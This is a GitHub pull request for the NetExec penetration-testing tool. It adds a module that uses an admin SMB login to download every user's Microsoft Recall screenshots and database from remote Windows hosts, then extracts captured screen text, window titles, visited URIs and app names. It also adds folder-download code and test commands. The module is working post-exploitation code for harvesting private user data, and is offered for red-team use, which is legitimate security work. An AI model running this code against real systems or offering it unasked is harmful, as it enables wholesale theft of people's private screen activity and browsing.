Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Recall module for dumping all users Microsoft Recall DBs & screenshots #335

Open
wants to merge 20 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
20 commits
Select commit Hold shift + click to select a range
2ce36d5
feat(smb): add feature to download entire folders from target
Marshall-Hallenbeck May 22, 2024
0f730e6
smb: clean up get-folder code
Marshall-Hallenbeck May 22, 2024
765dabe
formatting: over indent
Marshall-Hallenbeck Jun 6, 2024
ba86391
feat: recall module to download entire recall directory; renames scre…
Marshall-Hallenbeck Jun 6, 2024
50e477c
fix description
Marshall-Hallenbeck Jun 6, 2024
3e98fd3
ruff fix
Marshall-Hallenbeck Jun 6, 2024
4d51ff3
feat(recall): add DB parsing
Marshall-Hallenbeck Jun 6, 2024
5fdcb16
remove unused function
Marshall-Hallenbeck Jun 7, 2024
06e8131
feat(recall): grab all app names and URIs
Marshall-Hallenbeck Jun 7, 2024
1ec24e7
ruff fix
Marshall-Hallenbeck Jun 7, 2024
cc7d7d0
feat(smb): allow for silencing of file download messages
Marshall-Hallenbeck Jun 7, 2024
791c142
feat(recall): allow for silencing of specific file download output an…
Marshall-Hallenbeck Jun 7, 2024
9ed8e9c
tests: add Recall module to tests
Marshall-Hallenbeck Jun 8, 2024
b71057a
feat(smb): check if successful login is guest privs
Marshall-Hallenbeck Jun 5, 2024
7fc5150
fix(ruff): E226
Marshall-Hallenbeck Jun 5, 2024
936dc3d
revert spacing for Admin/Guest output
Marshall-Hallenbeck Jun 5, 2024
cdca8bc
tests: add test hashes
Marshall-Hallenbeck Jun 5, 2024
b3c1302
fix: fix hash length since its 32/64 (not 16) and we need to consider…
Marshall-Hallenbeck Jun 5, 2024
35b4374
Fix Pwned spacing
NeffIsBack Jun 7, 2024
d7fde3a
Merge branch 'main' into marshall-recall
Marshall-Hallenbeck Jun 18, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
137 changes: 137 additions & 0 deletions nxc/modules/recall.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,137 @@
from impacket import smb, smb3
import ntpath
from os import rename
from os.path import split, join, splitext, dirname, abspath
from glob import glob
from sqlite3 import connect

class NXCModule:
"""
Recall
-------
Module by @Marshall-Hallenbeck (@mjhallenbeck on Twitter)
Inspired by https://github.com/xaitax/TotalRecall (code my own)
"""

name = "recall"
description = "Downloads Microsoft Recall folders for all users"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True

def __init__(self):
self.context = None
self.module_options = None

def options(self, context, module_options):
"""
USERS Download only specified user(s); format: -o USERS=user1,user2,user3
SILENT Do not display individual file download messages; set to enable
"""
self.context = context
self.recall_path_stub = "\\AppData\\Local\\CoreAIPlatform.00\\UKP\\"
self.users = module_options["USERS"] if "USERS" in module_options else None
self.silent = module_options["SILENT"] if "SILENT" in module_options else False


def on_admin_login(self, context, connection):
output_path = f"recall_{connection.host}"
context.log.debug("Getting all user Recall folders")
user_folders = connection.conn.listPath("C$", "\\Users\\*")
context.log.debug(f"User folders: {user_folders}")
if not user_folders:
self.context.log.fail("No User folders found!")
else:
context.log.display("User folder(s) found, attempting to dump Recall contents (no output means no Recall folder)")

for user_folder in user_folders:
if not user_folder.is_directory():
continue
folder_name = user_folder.get_longname()
context.log.debug(f"{folder_name=} {self.users=}")
if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]:
continue
if self.users and folder_name not in self.users:
self.context.log.debug(f"Specific users are specified and {folder_name} is not one of them")
continue

recall_path = ntpath.normpath(join(r"Users", folder_name, self.recall_path_stub))
context.log.debug(f"Checking for Recall folder {recall_path}")
try:
connection.conn.listPath("C$", recall_path)
except Exception:
context.log.debug(f"Recall folder {recall_path} not found!")
continue
user_output_dir = join(output_path, folder_name)
try:
context.log.display(f"Downloading Recall folder for user {folder_name}")
connection.download_folder(recall_path, user_output_dir, True)
except (smb.SessionError, smb3.SessionError):
context.log.debug(f"Folder {recall_path} not found!")

context.log.success(f"Recall folder for user {folder_name} downloaded to {user_output_dir}")
self.rename_screenshots(user_output_dir)

context.log.debug("Parsing Recall DB files...")
db_files = glob(f"{output_path}/*/*/ukg.db")
for db in db_files:
self.parse_recall_db(db)

def parse_recall_db(self, db_path):
self.context.log.debug(f"Parsing Recall database {db_path}")
parent = abspath(dirname(dirname(db_path)))
self.context.log.debug(f"Parent: {parent}")
conn = connect(db_path)
c = conn.cursor()

win_text_cap_tab = "WindowCaptureTextIndex_content"
joined_q = f"""
SELECT t1.c1, t2.c2
FROM {win_text_cap_tab} AS t1
JOIN {win_text_cap_tab} AS t2 ON t1.c0 = t2.c0
WHERE t1.c1 IS NOT NULL AND t2.c2 IS NOT NULL;
"""
c.execute(joined_q)
window_content = c.fetchall()
with open(join(parent, "window_content.txt"), "w") as file:
file.writelines(f"{row[0]}, {row[1]}\n" for row in window_content)

window_q = f"SELECT c1 FROM {win_text_cap_tab} WHERE c1 IS NOT NULL;"
c.execute(window_q)
windows = c.fetchall()
with open(join(parent, "windows.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in windows)

content_q = f"SELECT c2 FROM {win_text_cap_tab} WHERE c2 IS NOT NULL;"
c.execute(content_q)
content = c.fetchall()
with open(join(parent, "content.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in content)

web_tab = "Web"
web_q = f"""
SELECT Uri FROM {web_tab};
"""
c.execute(web_q)
uris = c.fetchall()
with open(join(parent, "uris.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in uris)

app_tab = "App"
app_q = f"""
SELECT Name, WindowsAppId, Path FROM {app_tab};
"""
c.execute(app_q)
apps = c.fetchall()
with open(join(parent, "apps.txt"), "w") as file:
file.writelines(f"{row[0]}, {row[1]}, {row[2]}\n" for row in apps)


def rename_screenshots(self, path):
self.context.log.debug(f"Renaming screenshots at {path}")
files = glob(f"{path}/*/ImageStore/*")
self.context.log.debug(f"Files to rename: {files}")
for file in files:
directory, filename = split(file)
if not splitext(filename)[1]:
rename(file, join(directory, f"{filename}.jpg"))
77 changes: 65 additions & 12 deletions nxc/protocols/smb.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@

from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
from impacket.examples.secretsdump import (
RemoteOperations,
SAMHashes,
Expand Down Expand Up @@ -395,6 +396,7 @@ def plaintext_login(self, domain, username, password):
self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")

if "Unix" not in self.server_os:
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
Expand Down Expand Up @@ -467,6 +469,7 @@ def hash_login(self, domain, username, ntlm_hash):
self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")

if "Unix" not in self.server_os:
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, self.hash)
Expand Down Expand Up @@ -1306,25 +1309,75 @@ def put_file_single(self, src, dst):
def put_file(self):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)

def get_file_single(self, remote_path, download_path):

def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
try:
self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
return True
except SessionError as e:
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.debug(f"Sharing violation on {remote_path}: {e}")
return False
except Exception as e:
self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
return False

def get_file_single(self, remote_path, download_path, silent=False):
share_name = self.args.share
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if not silent:
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
with open(download_path, "wb+") as file:
try:
self.conn.getFile(share_name, remote_path, file.write)
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
except Exception as e:
self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
if os.path.getsize(download_path) == 0:
os.remove(download_path)

if self.download_file(share_name, remote_path, file.write):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
if not silent:
self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")

def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)


def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None):
normalized_folder = ntpath.normpath(folder)
base_folder = os.path.basename(normalized_folder)
self.logger.debug(f"Base folder: {base_folder}")

items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
self.logger.debug(f"{len(items)} items in folder: {items}")

for item in items:
item_name = item.get_longname()
if item_name not in [".", ".."]:
dir_path = ntpath.normpath(ntpath.join(normalized_folder, item_name))
if item.is_directory() and recursive:
self.download_folder(dir_path, dest, silent, recursive, base_dir or folder)
elif not item.is_directory():
remote_file_path = ntpath.join(folder, item_name)
# change the Windows path to Linux and then join it with the base directory to get our actual save path
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
local_folder_path = os.path.join(dest, relative_path)
local_file_path = os.path.join(local_folder_path, item_name)
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")

os.makedirs(local_folder_path, exist_ok=True)
try:
self.get_file_single(remote_file_path, local_file_path, silent)
except FileNotFoundError:
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")

def get_folder(self):
recursive = self.args.recursive
for folder, dest in self.args.get_folder:
self.download_folder(folder, dest, recursive)

def enable_remoteops(self):
try:
Expand Down
2 changes: 2 additions & 0 deletions nxc/protocols/smb/proto_args.py
Original file line number Diff line number Diff line change
Expand Up @@ -65,6 +65,8 @@ def proto_args(parser, parents):
files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
files_group.add_argument("--recursive", default=False, action="store_true", help="Recursively get a folder")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")

cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
Expand Down
3 changes: 3 additions & 0 deletions tests/e2e_commands.txt
Original file line number Diff line number Diff line change
Expand Up @@ -129,6 +129,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User SILENT=True
# test for multiple modules at once
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
##### SMB Anonymous Auth
Expand Down
Loading